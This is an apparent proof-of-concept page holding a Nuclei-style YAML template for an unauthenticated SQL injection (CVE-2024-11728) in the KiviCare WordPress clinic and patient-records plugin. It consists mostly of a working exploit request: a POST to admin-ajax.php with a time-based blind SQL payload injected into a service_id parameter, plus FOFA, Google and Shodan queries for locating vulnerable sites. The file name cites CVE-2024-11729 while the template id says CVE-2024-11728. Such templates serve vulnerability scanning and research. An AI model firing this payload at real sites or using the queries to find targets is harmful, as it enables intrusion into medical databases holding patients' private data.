4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2024-11729.yaml YAML
id: CVE-2024-11728

info:
  name: >
    KiviCare – Clinic & Patient Management System (EHR) <= 3.6.4 - Unauthenticated SQL Injection
  author: samogod
  description: |
    The KiviCare – Clinic & Patient Management System (EHR) plugin for WordPress is vulnerable to SQL Injection via the 'visit_type[service_id]' parameter of the tax_calculated_data AJAX action in all versions up to, and including, 3.6.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  severity: critical
  tags: cve,wordpress,wp-plugin,kivicare-clinic-management-system,critical
  reference:
    - https://samogod.com/2024/12/11/cve-2024-11728-kivicare-wordpress-unauthenticated-sql-injection/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-11728
  metadata:
    fofa-query: "wp-content/plugins/kivicare-clinic-management-system/"
    google-query: inurl:"/wp-content/plugins/kivicare-clinic-management-system/"
    shodan-query: 'vuln:CVE-2024-11728'

http:
  - method: POST
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php'
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: |
      action=ajax_post&route_name=tax_calculated_data&clinic_id[id]=1&doctor_id[id]=1&visit_type[0][service_id]=123) AND (SELECT * FROM (SELECT(SLEEP(5)))alias) AND (1=1&_ajax_nonce=5d77fc94cf

    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "elapsed time"
        part: body
      - type: dsl
        dsl:
          - "response_time > 5000"